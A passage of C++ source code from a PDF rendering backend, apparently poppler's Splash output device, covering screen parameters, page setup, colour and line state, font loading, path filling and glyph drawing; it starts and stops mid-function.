doc = NULL;
bitmap = new SplashBitmap(1, 1, bitmapRowPad, colorMode,
colorMode != splashModeMono1, bitmapTopDown);
splash = new Splash(bitmap, vectorAntialias, &screenParams);
splash->setMinLineWidth(globalParams->getMinLineWidth());
splash->setThinLineMode(thinLineMode);
splash->clear(paperColor, 0);
fontEngine = NULL;
nT3Fonts = 0;
t3GlyphStack = NULL;
font = NULL;
needFontUpdate = gFalse;
textClipPath = NULL;
transpGroupStack = NULL;
nestCount = 0;
xref = NULL;
}
void SplashOutputDev::setupScreenParams(double hDPI, double vDPI) {
screenParams.size = globalParams->getScreenSize();
screenParams.dotRadius = globalParams->getScreenDotRadius();
screenParams.gamma = (SplashCoord)globalParams->getScreenGamma();
screenParams.blackThreshold =
(SplashCoord)globalParams->getScreenBlackThreshold();
screenParams.whiteThreshold =
(SplashCoord)globalParams->getScreenWhiteThreshold();
switch (globalParams->getScreenType()) {
case screenDispersed:
screenParams.type = splashScreenDispersed;
if (screenParams.size < 0) {
screenParams.size = 4;
}
break;
case screenClustered:
screenParams.type = splashScreenClustered;
if (screenParams.size < 0) {
screenParams.size = 10;
}
break;
case screenStochasticClustered:
screenParams.type = splashScreenStochasticClustered;
if (screenParams.size < 0) {
screenParams.size = 64;
}
if (screenParams.dotRadius < 0) {
screenParams.dotRadius = 2;
}
break;
case screenUnset:
default:
// use clustered dithering for resolution >= 300 dpi
// (compare to 299.9 to avoid floating point issues)
if (hDPI > 299.9 && vDPI > 299.9) {
screenParams.type = splashScreenStochasticClustered;
if (screenParams.size < 0) {
screenParams.size = 64;
}
if (screenParams.dotRadius < 0) {
screenParams.dotRadius = 2;
}
} else {
screenParams.type = splashScreenDispersed;
if (screenParams.size < 0) {
screenParams.size = 4;
}
}
}
}
SplashOutputDev::~SplashOutputDev() {
int i;
for (i = 0; i < nT3Fonts; ++i) {
delete t3FontCache[i];
}
if (fontEngine) {
delete fontEngine;
}
if (splash) {
delete splash;
}
if (bitmap) {
delete bitmap;
}
}
void SplashOutputDev::startDoc(PDFDoc *docA) {
int i;
doc = docA;
if (fontEngine) {
delete fontEngine;
}
fontEngine = new SplashFontEngine(
#if HAVE_T1LIB_H
globalParams->getEnableT1lib(),
#endif
#if HAVE_FREETYPE_FREETYPE_H || HAVE_FREETYPE_H
globalParams->getEnableFreeType(),
enableFreeTypeHinting,
enableSlightHinting,
#endif
allowAntialias &&
globalParams->getAntialias() &&
colorMode != splashModeMono1);
for (i = 0; i < nT3Fonts; ++i) {
delete t3FontCache[i];
}
nT3Fonts = 0;
}
void SplashOutputDev::startPage(int pageNum, GfxState *state, XRef *xrefA) {
int w, h;
double *ctm;
SplashCoord mat[6];
SplashColor color;
xref = xrefA;
if (state) {
setupScreenParams(state->getHDPI(), state->getVDPI());
w = (int)(state->getPageWidth() + 0.5);
if (w <= 0) {
w = 1;
}
h = (int)(state->getPageHeight() + 0.5);
if (h <= 0) {
h = 1;
}
} else {
w = h = 1;
}
SplashThinLineMode thinLineMode = splashThinLineDefault;
if (splash) {
thinLineMode = splash->getThinLineMode();
delete splash;
splash = NULL;
}
if (!bitmap || w != bitmap->getWidth() || h != bitmap->getHeight()) {
if (bitmap) {
delete bitmap;
bitmap = NULL;
}
bitmap = new SplashBitmap(w, h, bitmapRowPad, colorMode,
colorMode != splashModeMono1, bitmapTopDown);
if (!bitmap->getDataPtr()) {
delete bitmap;
w = h = 1;
bitmap = new SplashBitmap(w, h, bitmapRowPad, colorMode,
colorMode != splashModeMono1, bitmapTopDown);
}
}
splash = new Splash(bitmap, vectorAntialias, &screenParams);
splash->setThinLineMode(thinLineMode);
splash->setMinLineWidth(globalParams->getMinLineWidth());
if (state) {
ctm = state->getCTM();
mat[0] = (SplashCoord)ctm[0];
mat[1] = (SplashCoord)ctm[1];
mat[2] = (SplashCoord)ctm[2];
mat[3] = (SplashCoord)ctm[3];
mat[4] = (SplashCoord)ctm[4];
mat[5] = (SplashCoord)ctm[5];
splash->setMatrix(mat);
}
switch (colorMode) {
case splashModeMono1:
case splashModeMono8:
color[0] = 0;
break;
case splashModeXBGR8:
color[3] = 255;
case splashModeRGB8:
case splashModeBGR8:
color[0] = color[1] = color[2] = 0;
break;
#if SPLASH_CMYK
case splashModeCMYK8:
color[0] = color[1] = color[2] = color[3] = 0;
break;
case splashModeDeviceN8:
for (int i = 0; i < 4 + SPOT_NCOMPS; i++)
color[i] = 0;
break;
#endif
}
splash->setStrokePattern(new SplashSolidColor(color));
splash->setFillPattern(new SplashSolidColor(color));
splash->setLineCap(splashLineCapButt);
splash->setLineJoin(splashLineJoinMiter);
splash->setLineDash(NULL, 0, 0);
splash->setMiterLimit(10);
splash->setFlatness(1);
// the SA parameter supposedly defaults to false, but Acrobat
// apparently hardwires it to true
splash->setStrokeAdjust(globalParams->getStrokeAdjust());
splash->clear(paperColor, 0);
}
void SplashOutputDev::endPage() {
if (colorMode != splashModeMono1 && !keepAlphaChannel) {
splash->compositeBackground(paperColor);
}
}
void SplashOutputDev::saveState(GfxState *state) {
splash->saveState();
}
void SplashOutputDev::restoreState(GfxState *state) {
splash->restoreState();
needFontUpdate = gTrue;
}
void SplashOutputDev::updateAll(GfxState *state) {
updateLineDash(state);
updateLineJoin(state);
updateLineCap(state);
updateLineWidth(state);
updateFlatness(state);
updateMiterLimit(state);
updateStrokeAdjust(state);
updateFillColorSpace(state);
updateFillColor(state);
updateStrokeColorSpace(state);
updateStrokeColor(state);
needFontUpdate = gTrue;
}
void SplashOutputDev::updateCTM(GfxState *state, double m11, double m12,
double m21, double m22,
double m31, double m32) {
double *ctm;
SplashCoord mat[6];
ctm = state->getCTM();
mat[0] = (SplashCoord)ctm[0];
mat[1] = (SplashCoord)ctm[1];
mat[2] = (SplashCoord)ctm[2];
mat[3] = (SplashCoord)ctm[3];
mat[4] = (SplashCoord)ctm[4];
mat[5] = (SplashCoord)ctm[5];
splash->setMatrix(mat);
}
void SplashOutputDev::updateLineDash(GfxState *state) {
double *dashPattern;
int dashLength;
double dashStart;
SplashCoord dash[20];
int i;
state->getLineDash(&dashPattern, &dashLength, &dashStart);
if (dashLength > 20) {
dashLength = 20;
}
for (i = 0; i < dashLength; ++i) {
dash[i] = (SplashCoord)dashPattern[i];
if (dash[i] < 0) {
dash[i] = 0;
}
}
splash->setLineDash(dash, dashLength, (SplashCoord)dashStart);
}
void SplashOutputDev::updateFlatness(GfxState *state) {
#if 0 // Acrobat ignores the flatness setting, and always renders curves
// with a fairly small flatness value
splash->setFlatness(state->getFlatness());
#endif
}
void SplashOutputDev::updateLineJoin(GfxState *state) {
splash->setLineJoin(state->getLineJoin());
}
void SplashOutputDev::updateLineCap(GfxState *state) {
splash->setLineCap(state->getLineCap());
}
void SplashOutputDev::updateMiterLimit(GfxState *state) {
splash->setMiterLimit(state->getMiterLimit());
}
void SplashOutputDev::updateLineWidth(GfxState *state) {
splash->setLineWidth(state->getLineWidth());
}
void SplashOutputDev::updateStrokeAdjust(GfxState * /*state*/) {
#if 0 // the SA parameter supposedly defaults to false, but Acrobat
// apparently hardwires it to true
splash->setStrokeAdjust(state->getStrokeAdjust());
#endif
}
void SplashOutputDev::updateFillColorSpace(GfxState *state) {
#if SPLASH_CMYK
if (colorMode == splashModeDeviceN8)
state->getFillColorSpace()->createMapping(bitmap->getSeparationList(), SPOT_NCOMPS);
#endif
}
void SplashOutputDev::updateStrokeColorSpace(GfxState *state) {
#if SPLASH_CMYK
if (colorMode == splashModeDeviceN8)
state->getStrokeColorSpace()->createMapping(bitmap->getSeparationList(), SPOT_NCOMPS);
#endif
}
void SplashOutputDev::updateFillColor(GfxState *state) {
GfxGray gray;
GfxRGB rgb;
#if SPLASH_CMYK
GfxCMYK cmyk;
GfxColor deviceN;
#endif
switch (colorMode) {
case splashModeMono1:
case splashModeMono8:
state->getFillGray(&gray);
splash->setFillPattern(getColor(gray));
break;
case splashModeXBGR8:
case splashModeRGB8:
case splashModeBGR8:
state->getFillRGB(&rgb);
splash->setFillPattern(getColor(&rgb));
break;
#if SPLASH_CMYK
case splashModeCMYK8:
state->getFillCMYK(&cmyk);
splash->setFillPattern(getColor(&cmyk));
break;
case splashModeDeviceN8:
state->getFillDeviceN(&deviceN);
splash->setFillPattern(getColor(&deviceN));
break;
#endif
}
}
void SplashOutputDev::updateStrokeColor(GfxState *state) {
GfxGray gray;
GfxRGB rgb;
#if SPLASH_CMYK
GfxCMYK cmyk;
GfxColor deviceN;
#endif
switch (colorMode) {
case splashModeMono1:
case splashModeMono8:
state->getStrokeGray(&gray);
splash->setStrokePattern(getColor(gray));
break;
case splashModeXBGR8:
case splashModeRGB8:
case splashModeBGR8:
state->getStrokeRGB(&rgb);
splash->setStrokePattern(getColor(&rgb));
break;
#if SPLASH_CMYK
case splashModeCMYK8:
state->getStrokeCMYK(&cmyk);
splash->setStrokePattern(getColor(&cmyk));
break;
case splashModeDeviceN8:
state->getStrokeDeviceN(&deviceN);
splash->setStrokePattern(getColor(&deviceN));
break;
#endif
}
}
SplashPattern *SplashOutputDev::getColor(GfxGray gray) {
SplashColor color;
if (reverseVideo) {
gray = gfxColorComp1 - gray;
}
color[0] = colToByte(gray);
return new SplashSolidColor(color);
}
SplashPattern *SplashOutputDev::getColor(GfxRGB *rgb) {
GfxColorComp r, g, b;
SplashColor color;
if (reverseVideo) {
r = gfxColorComp1 - rgb->r;
g = gfxColorComp1 - rgb->g;
b = gfxColorComp1 - rgb->b;
} else {
r = rgb->r;
g = rgb->g;
b = rgb->b;
}
color[0] = colToByte(r);
color[1] = colToByte(g);
color[2] = colToByte(b);
if (colorMode == splashModeXBGR8) color[3] = 255;
return new SplashSolidColor(color);
}
#if SPLASH_CMYK
SplashPattern *SplashOutputDev::getColor(GfxCMYK *cmyk) {
SplashColor color;
color[0] = colToByte(cmyk->c);
color[1] = colToByte(cmyk->m);
color[2] = colToByte(cmyk->y);
color[3] = colToByte(cmyk->k);
return new SplashSolidColor(color);
}
SplashPattern *SplashOutputDev::getColor(GfxColor *deviceN) {
SplashColor color;
for (int i = 0; i < 4 + SPOT_NCOMPS; i++)
color[i] = colToByte(deviceN->c[i]);
return new SplashSolidColor(color);
}
#endif
void SplashOutputDev::setOverprintMask(GfxColorSpace *colorSpace,
GBool overprintFlag,
int overprintMode,
GfxColor *singleColor,
GBool grayIndexed) {
#if SPLASH_CMYK
Guint mask;
GfxCMYK cmyk;
GBool additive = gFalse;
int i;
if (colorSpace->getMode() == csIndexed) {
setOverprintMask(((GfxIndexedColorSpace *)colorSpace)->getBase(),
overprintFlag,
overprintMode,
singleColor,
grayIndexed);
return;
}
if (overprintFlag && overprintPreview) {
mask = colorSpace->getOverprintMask();
if (singleColor && overprintMode &&
colorSpace->getMode() == csDeviceCMYK) {
colorSpace->getCMYK(singleColor, &cmyk);
if (cmyk.c == 0) {
mask &= ~1;
}
if (cmyk.m == 0) {
mask &= ~2;
}
if (cmyk.y == 0) {
mask &= ~4;
}
if (cmyk.k == 0) {
mask &= ~8;
}
}
if (grayIndexed) {
mask &= ~7;
} else if (colorSpace->getMode() == csSeparation) {
GfxSeparationColorSpace *deviceSep = (GfxSeparationColorSpace *)colorSpace;
additive = deviceSep->getName()->cmp("All") != 0 && mask == 0x0f && !deviceSep->isNonMarking();
} else if (colorSpace->getMode() == csDeviceN) {
GfxDeviceNColorSpace *deviceNCS = (GfxDeviceNColorSpace *)colorSpace;
additive = mask == 0x0f && !deviceNCS->isNonMarking();
for (i = 0; i < deviceNCS->getNComps() && additive; i++) {
if (deviceNCS->getColorantName(i)->cmp("Cyan") == 0) {
additive = gFalse;
} else if (deviceNCS->getColorantName(i)->cmp("Magenta") == 0) {
additive = gFalse;
} else if (deviceNCS->getColorantName(i)->cmp("Yellow") == 0) {
additive = gFalse;
} else if (deviceNCS->getColorantName(i)->cmp("Black") == 0) {
additive = gFalse;
}
}
}
} else {
mask = 0xffffffff;
}
splash->setOverprintMask(mask, additive);
#endif
}
void SplashOutputDev::updateBlendMode(GfxState *state) {
splash->setBlendFunc(splashOutBlendFuncs[state->getBlendMode()]);
}
void SplashOutputDev::updateFillOpacity(GfxState *state) {
splash->setFillAlpha((SplashCoord)state->getFillOpacity());
if (transpGroupStack != NULL && (SplashCoord)state->getFillOpacity() < transpGroupStack->knockoutOpacity) {
transpGroupStack->knockoutOpacity = (SplashCoord)state->getFillOpacity();
}
}
void SplashOutputDev::updateStrokeOpacity(GfxState *state) {
splash->setStrokeAlpha((SplashCoord)state->getStrokeOpacity());
if (transpGroupStack != NULL && (SplashCoord)state->getStrokeOpacity() < transpGroupStack->knockoutOpacity) {
transpGroupStack->knockoutOpacity = (SplashCoord)state->getStrokeOpacity();
}
}
void SplashOutputDev::updateFillOverprint(GfxState *state) {
splash->setFillOverprint(state->getFillOverprint());
}
void SplashOutputDev::updateStrokeOverprint(GfxState *state) {
splash->setStrokeOverprint(state->getStrokeOverprint());
}
void SplashOutputDev::updateOverprintMode(GfxState *state) {
splash->setOverprintMode(state->getOverprintMode());
}
void SplashOutputDev::updateTransfer(GfxState *state) {
Function **transfer;
Guchar red[256], green[256], blue[256], gray[256];
double x, y;
int i;
transfer = state->getTransfer();
if (transfer[0] &&
transfer[0]->getInputSize() == 1 &&
transfer[0]->getOutputSize() == 1) {
if (transfer[1] &&
transfer[1]->getInputSize() == 1 &&
transfer[1]->getOutputSize() == 1 &&
transfer[2] &&
transfer[2]->getInputSize() == 1 &&
transfer[2]->getOutputSize() == 1 &&
transfer[3] &&
transfer[3]->getInputSize() == 1 &&
transfer[3]->getOutputSize() == 1) {
for (i = 0; i < 256; ++i) {
x = i / 255.0;
transfer[0]->transform(&x, &y);
red[i] = (Guchar)(y * 255.0 + 0.5);
transfer[1]->transform(&x, &y);
green[i] = (Guchar)(y * 255.0 + 0.5);
transfer[2]->transform(&x, &y);
blue[i] = (Guchar)(y * 255.0 + 0.5);
transfer[3]->transform(&x, &y);
gray[i] = (Guchar)(y * 255.0 + 0.5);
}
} else {
for (i = 0; i < 256; ++i) {
x = i / 255.0;
transfer[0]->transform(&x, &y);
red[i] = green[i] = blue[i] = gray[i] = (Guchar)(y * 255.0 + 0.5);
}
}
} else {
for (i = 0; i < 256; ++i) {
red[i] = green[i] = blue[i] = gray[i] = (Guchar)i;
}
}
splash->setTransfer(red, green, blue, gray);
}
void SplashOutputDev::updateFont(GfxState * /*state*/) {
needFontUpdate = gTrue;
}
void SplashOutputDev::doUpdateFont(GfxState *state) {
GfxFont *gfxFont;
GfxFontLoc *fontLoc;
GfxFontType fontType;
SplashOutFontFileID *id;
SplashFontFile *fontFile;
SplashFontSrc *fontsrc = NULL;
FoFiTrueType *ff;
Object refObj, strObj;
GooString *fileName;
char *tmpBuf;
int tmpBufLen;
int *codeToGID;
double *textMat;
double m11, m12, m21, m22, fontSize;
int faceIndex = 0;
SplashCoord mat[4];
int n, i;
GBool recreateFont = gFalse;
GBool doAdjustFontMatrix = gFalse;
needFontUpdate = gFalse;
font = NULL;
fileName = NULL;
tmpBuf = NULL;
fontLoc = NULL;
if (!(gfxFont = state->getFont())) {
goto err1;
}
fontType = gfxFont->getType();
if (fontType == fontType3) {
goto err1;
}
// sanity-check the font size - skip anything larger than 10 inches
// (this avoids problems allocating memory for the font cache)
if (state->getTransformedFontSize()
> 10 * (state->getHDPI() + state->getVDPI())) {
goto err1;
}
// check the font file cache
id = new SplashOutFontFileID(gfxFont->getID());
if ((fontFile = fontEngine->getFontFile(id))) {
delete id;
} else {
if (!(fontLoc = gfxFont->locateFont((xref) ? xref : doc->getXRef(), gFalse))) {
error(errSyntaxError, -1, "Couldn't find a font for '{0:s}'",
gfxFont->getName() ? gfxFont->getName()->getCString()
: "(unnamed)");
goto err2;
}
// embedded font
if (fontLoc->locType == gfxFontLocEmbedded) {
// if there is an embedded font, read it to memory
tmpBuf = gfxFont->readEmbFontFile((xref) ? xref : doc->getXRef(), &tmpBufLen);
if (! tmpBuf)
goto err2;
// external font
} else { // gfxFontLocExternal
fileName = fontLoc->path;
fontType = fontLoc->fontType;
doAdjustFontMatrix = gTrue;
}
fontsrc = new SplashFontSrc;
if (fileName)
fontsrc->setFile(fileName, gFalse);
else
fontsrc->setBuf(tmpBuf, tmpBufLen, gTrue);
// load the font file
switch (fontType) {
case fontType1:
if (!(fontFile = fontEngine->loadType1Font(
id,
fontsrc,
(const char **)((Gfx8BitFont *)gfxFont)->getEncoding()))) {
error(errSyntaxError, -1, "Couldn't create a font for '{0:s}'",
gfxFont->getName() ? gfxFont->getName()->getCString()
: "(unnamed)");
goto err2;
}
break;
case fontType1C:
if (!(fontFile = fontEngine->loadType1CFont(
id,
fontsrc,
(const char **)((Gfx8BitFont *)gfxFont)->getEncoding()))) {
error(errSyntaxError, -1, "Couldn't create a font for '{0:s}'",
gfxFont->getName() ? gfxFont->getName()->getCString()
: "(unnamed)");
goto err2;
}
break;
case fontType1COT:
if (!(fontFile = fontEngine->loadOpenTypeT1CFont(
id,
fontsrc,
(const char **)((Gfx8BitFont *)gfxFont)->getEncoding()))) {
error(errSyntaxError, -1, "Couldn't create a font for '{0:s}'",
gfxFont->getName() ? gfxFont->getName()->getCString()
: "(unnamed)");
goto err2;
}
break;
case fontTrueType:
case fontTrueTypeOT:
if (fileName)
ff = FoFiTrueType::load(fileName->getCString());
else
ff = FoFiTrueType::make(tmpBuf, tmpBufLen);
if (ff) {
codeToGID = ((Gfx8BitFont *)gfxFont)->getCodeToGIDMap(ff);
n = 256;
delete ff;
// if we're substituting for a non-TrueType font, we need to mark
// all notdef codes as "do not draw" (rather than drawing TrueType
// notdef glyphs)
if (gfxFont->getType() != fontTrueType &&
gfxFont->getType() != fontTrueTypeOT) {
for (i = 0; i < 256; ++i) {
if (codeToGID[i] == 0) {
codeToGID[i] = -1;
}
}
}
} else {
codeToGID = NULL;
n = 0;
}
if (!(fontFile = fontEngine->loadTrueTypeFont(
id,
fontsrc,
codeToGID, n))) {
error(errSyntaxError, -1, "Couldn't create a font for '{0:s}'",
gfxFont->getName() ? gfxFont->getName()->getCString()
: "(unnamed)");
goto err2;
}
break;
case fontCIDType0:
case fontCIDType0C:
if (!(fontFile = fontEngine->loadCIDFont(
id,
fontsrc))) {
error(errSyntaxError, -1, "Couldn't create a font for '{0:s}'",
gfxFont->getName() ? gfxFont->getName()->getCString()
: "(unnamed)");
goto err2;
}
break;
case fontCIDType0COT:
if (((GfxCIDFont *)gfxFont)->getCIDToGID()) {
n = ((GfxCIDFont *)gfxFont)->getCIDToGIDLen();
codeToGID = (int *)gmallocn(n, sizeof(int));
memcpy(codeToGID, ((GfxCIDFont *)gfxFont)->getCIDToGID(),
n * sizeof(int));
} else {
codeToGID = NULL;
n = 0;
}
if (!(fontFile = fontEngine->loadOpenTypeCFFFont(
id,
fontsrc,
codeToGID, n))) {
error(errSyntaxError, -1, "Couldn't create a font for '{0:s}'",
gfxFont->getName() ? gfxFont->getName()->getCString()
: "(unnamed)");
goto err2;
}
break;
case fontCIDType2:
case fontCIDType2OT:
codeToGID = NULL;
n = 0;
if (((GfxCIDFont *)gfxFont)->getCIDToGID()) {
n = ((GfxCIDFont *)gfxFont)->getCIDToGIDLen();
if (n) {
codeToGID = (int *)gmallocn(n, sizeof(int));
memcpy(codeToGID, ((GfxCIDFont *)gfxFont)->getCIDToGID(),
n * sizeof(int));
}
} else {
if (fileName)
ff = FoFiTrueType::load(fileName->getCString());
else
ff = FoFiTrueType::make(tmpBuf, tmpBufLen);
if (! ff)
{
error(errSyntaxError, -1, "Couldn't create a font for '{0:s}'",
gfxFont->getName() ? gfxFont->getName()->getCString()
: "(unnamed)");
goto err2;
}
codeToGID = ((GfxCIDFont *)gfxFont)->getCodeToGIDMap(ff, &n);
delete ff;
}
if (!(fontFile = fontEngine->loadTrueTypeFont(
id,
fontsrc,
codeToGID, n, faceIndex))) {
error(errSyntaxError, -1, "Couldn't create a font for '{0:s}'",
gfxFont->getName() ? gfxFont->getName()->getCString()
: "(unnamed)");
goto err2;
}
break;
default:
// this shouldn't happen
goto err2;
}
fontFile->doAdjustMatrix = doAdjustFontMatrix;
}
// get the font matrix
textMat = state->getTextMat();
fontSize = state->getFontSize();
m11 = textMat[0] * fontSize * state->getHorizScaling();
m12 = textMat[1] * fontSize * state->getHorizScaling();
m21 = textMat[2] * fontSize;
m22 = textMat[3] * fontSize;
// create the scaled font
mat[0] = m11; mat[1] = m12;
mat[2] = m21; mat[3] = m22;
font = fontEngine->getFont(fontFile, mat, splash->getMatrix());
// for substituted fonts: adjust the font matrix -- compare the
// width of 'm' in the original font and the substituted font
if (fontFile->doAdjustMatrix && !gfxFont->isCIDFont()) {
double w1, w2;
CharCode code;
char *name;
for (code = 0; code < 256; ++code) {
if ((name = ((Gfx8BitFont *)gfxFont)->getCharName(code)) &&
name[0] == 'm' && name[1] == '\0') {
break;
}
}
if (code < 256) {
w1 = ((Gfx8BitFont *)gfxFont)->getWidth(code);
w2 = font->getGlyphAdvance(code);
if (!gfxFont->isSymbolic() && w2 > 0) {
// if real font is substantially narrower than substituted
// font, reduce the font size accordingly
if (w1 > 0.01 && w1 < 0.9 * w2) {
w1 /= w2;
m11 *= w1;
m21 *= w1;
recreateFont = gTrue;
}
}
}
}
if (recreateFont)
{
mat[0] = m11; mat[1] = m12;
mat[2] = m21; mat[3] = m22;
font = fontEngine->getFont(fontFile, mat, splash->getMatrix());
}
delete fontLoc;
if (fontsrc && !fontsrc->isFile)
fontsrc->unref();
return;
err2:
delete id;
delete fontLoc;
err1:
if (fontsrc && !fontsrc->isFile)
fontsrc->unref();
return;
}
void SplashOutputDev::stroke(GfxState *state) {
SplashPath *path;
if (state->getStrokeColorSpace()->isNonMarking()) {
return;
}
setOverprintMask(state->getStrokeColorSpace(), state->getStrokeOverprint(),
state->getOverprintMode(), state->getStrokeColor());
path = convertPath(state, state->getPath(), gFalse);
splash->stroke(path);
delete path;
}
void SplashOutputDev::fill(GfxState *state) {
SplashPath *path;
if (state->getFillColorSpace()->isNonMarking()) {
return;
}
setOverprintMask(state->getFillColorSpace(), state->getFillOverprint(),
state->getOverprintMode(), state->getFillColor());
path = convertPath(state, state->getPath(), gTrue);
splash->fill(path, gFalse);
delete path;
}
void SplashOutputDev::eoFill(GfxState *state) {
SplashPath *path;
if (state->getFillColorSpace()->isNonMarking()) {
return;
}
setOverprintMask(state->getFillColorSpace(), state->getFillOverprint(),
state->getOverprintMode(), state->getFillColor());
path = convertPath(state, state->getPath(), gTrue);
splash->fill(path, gTrue);
delete path;
}
void SplashOutputDev::clip(GfxState *state) {
SplashPath *path;
path = convertPath(state, state->getPath(), gTrue);
splash->clipToPath(path, gFalse);
delete path;
}
void SplashOutputDev::eoClip(GfxState *state) {
SplashPath *path;
path = convertPath(state, state->getPath(), gTrue);
splash->clipToPath(path, gTrue);
delete path;
}
void SplashOutputDev::clipToStrokePath(GfxState *state) {
SplashPath *path, *path2;
path = convertPath(state, state->getPath(), gFalse);
path2 = splash->makeStrokePath(path, state->getLineWidth());
delete path;
splash->clipToPath(path2, gFalse);
delete path2;
}
SplashPath *SplashOutputDev::convertPath(GfxState *state, GfxPath *path,
GBool dropEmptySubpaths) {
SplashPath *sPath;
GfxSubpath *subpath;
int n, i, j;
n = dropEmptySubpaths ? 1 : 0;
sPath = new SplashPath();
for (i = 0; i < path->getNumSubpaths(); ++i) {
subpath = path->getSubpath(i);
if (subpath->getNumPoints() > n) {
sPath->moveTo((SplashCoord)subpath->getX(0),
(SplashCoord)subpath->getY(0));
j = 1;
while (j < subpath->getNumPoints()) {
if (subpath->getCurve(j)) {
sPath->curveTo((SplashCoord)subpath->getX(j),
(SplashCoord)subpath->getY(j),
(SplashCoord)subpath->getX(j+1),
(SplashCoord)subpath->getY(j+1),
(SplashCoord)subpath->getX(j+2),
(SplashCoord)subpath->getY(j+2));
j += 3;
} else {
sPath->lineTo((SplashCoord)subpath->getX(j),
(SplashCoord)subpath->getY(j));
++j;
}
}
if (subpath->isClosed()) {
sPath->close();
}
}
}
return sPath;
}
void SplashOutputDev::drawChar(GfxState *state, double x, double y,
double dx, double dy,
double originX, double originY,
CharCode code, int nBytes,
Unicode *u, int uLen) {
SplashPath *path;
int render;
GBool doFill, doStroke, doClip, strokeAdjust;
double m[4];
GBool horiz;
if (skipHorizText || skipRotatedText) {
state->getFontTransMat(&m[0], &m[1], &m[2], &m[3]);
horiz = m[0] > 0 && fabs(m[1]) < 0.001 &&
fabs(m[2]) < 0.001 && m[3] < 0;
if ((skipHorizText && horiz) || (skipRotatedText && !horiz)) {
return;
}
}
// check for invisible text -- this is used by Acrobat Capture
render = state->getRender();
if (render == 3) {
return;
}
if (needFontUpdate) {
doUpdateFont(state);
}
if (!font) {
return;
}
x -= originX;
y -= originY;
doFill = !(render & 1) && !state->getFillColorSpace()->isNonMarking();
doStroke = ((render & 3) == 1 || (render & 3) == 2) &&
!state->getStrokeColorSpace()->isNonMarking();
doClip = render & 4;
path = NULL;
if (doStroke || doClip) {
if ((path = font->getGlyphPath(code))) {
path->offset((SplashCoord)x, (SplashCoord)y);
}
}
// don't use stroke adjustment when stroking text -- the results
// tend to be ugly (because characters with horizontal upper or
// lower edges get misaligned relative to the other characters)
strokeAdjust = gFalse; // make gcc happy
if (doStroke) {
strokeAdjust = splash->getStrokeAdjust();
splash->setStrokeAdjust(gFalse);
}
// fill and stroke
if (doFill && doStroke) {
if (path) {
setOverprintMask(state->getFillColorSpace(), state->getFillOverprint(),
state->getOverprintMode(), state->getFillColor());
splash->fill(path, gFalse);
setOverprintMask(state->getStrokeColorSpace(),
state->getStrokeOverprint(),
state->getOverprintMode(),
state->getStrokeColor());
splash->stroke(path);
}
// fill
} else if (doFill) {
setOverprintMask(state->getFillColorSpace(), state->getFillOverprint(),
state->getOverprintMode(), state->getFillColor());
splash->fillChar((SplashCoord)x, (SplashCoord)y, code, font);
// stroke
} else if (doStroke) {
if (path) {
setOverprintMask(state->getStrokeColorSpace(),
state->getStrokeOverprint(),
state->getOverprintMode(),
state->getStrokeColor());
splash->stroke(path);
}
}
// clip
if (doClip) {
if (path) {
if (textClipPath) {
textClipPath->append(path);
} else {
textClipPath = path;
path = NULL;
}
}
}
if (doStroke) {
splash->setStrokeAdjust(strokeAdjust);
}
if (path) {
delete path;
}
}
GBool SplashOutputDev::beginType3Char(GfxState *state, double x, double y,
double dx, double dy,
CharCode code, Unicode *u, int uLen) {
GfxFont *gfxFont;
Ref *fontID;
double *ctm, *bbox;
T3FontCache *t3Font;
T3GlyphStack *t3gs;
GBool validBBox;
double m[4];
GBool horiz;
double x1, y1, xMin, yMin, xMax, yMax, xt, yt;
int i, j;
if (skipHorizText || skipRotatedText) {
state->getFontTransMat(&m[0], &m[1], &m[2], &m[3]);
horiz = m[0] > 0 && fabs(m[1]) < 0.001 &&
fabs(m[2]) < 0.001 && m[3] < 0;
if ((skipHorizText && horiz) || (skipRotatedText && !horiz)) {
return gTrue;
}
}
if (!(gfxFont = state->getFont())) {
return gFalse;
}
fontID = gfxFont->getID();
ctm = state->getCTM();
state->transform(0, 0, &xt, &yt);
// is it the first (MRU) font in the cache?
if (!(nT3Fonts > 0 &&
t3FontCache[0]->matches(fontID, ctm[0], ctm[1], ctm[2], ctm[3]))) {
// is the font elsewhere in the cache?
for (i = 1; i < nT3Fonts; ++i) {
if (t3FontCache[i]->matches(fontID, ctm[0], ctm[1], ctm[2], ctm[3])) {
t3Font = t3FontCache[i];
for (j = i; j > 0; --j) {
t3FontCache[j] = t3FontCache[j - 1];
}
t3FontCache[0] = t3Font;
break;
}
}
if (i >= nT3Fonts) {
// create new entry in the font cache
if (nT3Fonts == splashOutT3FontCacheSize) {
t3gs = t3GlyphStack;
while (t3gs != NULL) {
if (t3gs->cache == t3FontCache[nT3Fonts - 1]) {
error(errSyntaxWarning, -1, "t3FontCache reaches limit but font still on stack in SplashOutputDev::beginType3Char");
return gTrue;
}
t3gs = t3gs->next;
}
delete t3FontCache[nT3Fonts - 1];
--nT3Fonts;
}
for (j = nT3Fonts; j > 0; --j) {
t3FontCache[j] = t3FontCache[j - 1];
}
++nT3Fonts;
bbox = gfxFont->getFontBBox();
if (bbox[0] == 0 && bbox[1] == 0 && bbox[2] == 0 && bbox[3] == 0) {
// unspecified bounding box -- just take a guess
xMin = xt - 5;
xMax = xMin + 30;
yMax = yt + 15;
yMin = yMax - 45;
validBBox = gFalse;
} else {
state->transform(bbox[0], bbox[1], &x1, &y1);
xMin = xMax = x1;
yMin = yMax = y1;
state->transform(bbox[0], bbox[3], &x1, &y1);
if (x1 < xMin) {
xMin = x1;
} else if (x1 > xMax) {
xMax = x1;
}
if (y1 < yMin) {
yMin = y1;
} else if (y1 > yMax) {
yMax = y1;
}
state->transform(bbox[2], bbox[1], &x1, &y1);
if (x1 < xMin) {
xMin = x1;
} else if (x1 > xMax) {
xMax = x1;
}
if (y1 < yMin) {
yMin = y1;
} else if (y1 > yMax) {
yMax = y1;
}
state->transform(bbox[2], bbox[3], &x1, &y1);
if (x1 < xMin) {
xMin = x1;
} else if (x1 > xMax) {
xMax = x1;
}
if (y1 < yMin) {
yMin = y1;
} else if (y1 > yMax) {
yMax = y1;
}
validBBox = gTrue;
}
t3FontCache[0] = new T3FontCache(fontID, ctm[0], ctm[1], ctm[2], ctm[3],
(int)floor(xMin - xt) - 2,
(int)floor(yMin - yt) - 2,
(int)ceil(xMax) - (int)floor(xMin) + 4,
(int)ceil(yMax) - (int)floor(yMin) + 4,
validBBox,
colorMode != splashModeMono1);
}
}
t3Font = t3FontCache[0];
// is the glyph in the cache?
i = (code & (t3Font->cacheSets - 1)) * t3Font->cacheAssoc;
for (j = 0; j < t3Font->cacheAssoc; ++j) {
if (t3Font->cacheTags != NULL) {
